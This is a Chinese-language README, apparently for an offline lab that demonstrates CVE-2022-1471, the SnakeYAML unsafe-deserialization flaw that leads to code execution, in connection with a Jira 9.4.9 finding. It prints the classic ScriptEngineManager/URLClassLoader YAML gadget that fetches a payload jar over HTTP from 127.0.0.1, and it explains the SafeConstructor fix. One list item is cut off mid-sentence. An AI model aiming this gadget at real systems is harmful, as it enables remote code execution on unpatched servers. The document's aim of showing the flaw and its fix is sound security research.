离线、自包含的实验环境,用于证明 CVE-2022-1471 背后的机制 (SnakeYAML 不安全反序列化 → RCE,CVSS 9.8),正如在 Jira / Jira Service Management 针对运行 9.4.9 的主机(受影响 范围 9.4.0–9.4.12,9.4.14 中修复 — 参见 Atlassian JSDSERVER-14906)的发现中所利用的那样。
该实验环境恰好演示两件事:
ConstructorException)— 不会运行任何内容。它不会利用任何在线主机。所有内容都在 127.0.0.1 上运行;
payload(src/Exploit.java)是无害的 — 它的静态初始化器只写入
一个文本文件,仅此而已。
./run.sh
cat PWNED-proof.txt # on-disk proof of execution (regenerated each run)
需要 PATH 中包含 JDK 17+(javac、java、jar)。如果 tools/ 下存在
自带 JDK,则使用该 JDK。唯一的网络流量是 127.0.0.1:8077 上的本地 HTTP
服务器,用于提供 payload jar,退出时会被终止。
src/VulnDemo.java 是一个裸的 new Yaml().load(yaml) — 与存在漏洞的
Automation for Jira 版本在导入规则 YAML 时进行的相同不安全调用。
攻击者 YAML 是典型的 gadget:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
]]
]
SnakeYAML 1.x 在没有白名单的情况下实例化任意类 → JVM
会从“攻击者”服务器获取并加载一个类 → 其静态
初始化器执行。SnakeYAML 2.x 默认使用 SafeConstructor,
它会拒绝全局标签。
sample-output-PWNED-proof.txt 显示了一次运行中的标记文件内容;screenshots/ 显示了两次运行(存在漏洞 vs 已修复)的结果。
经授权的安全研究。仅证明库机制和修复 边界 — 不是针对任何生产系统的漏洞利用。利用 Jira 攻击向量还需要通过身份验证(Jira 管理员)导入 自动化规则。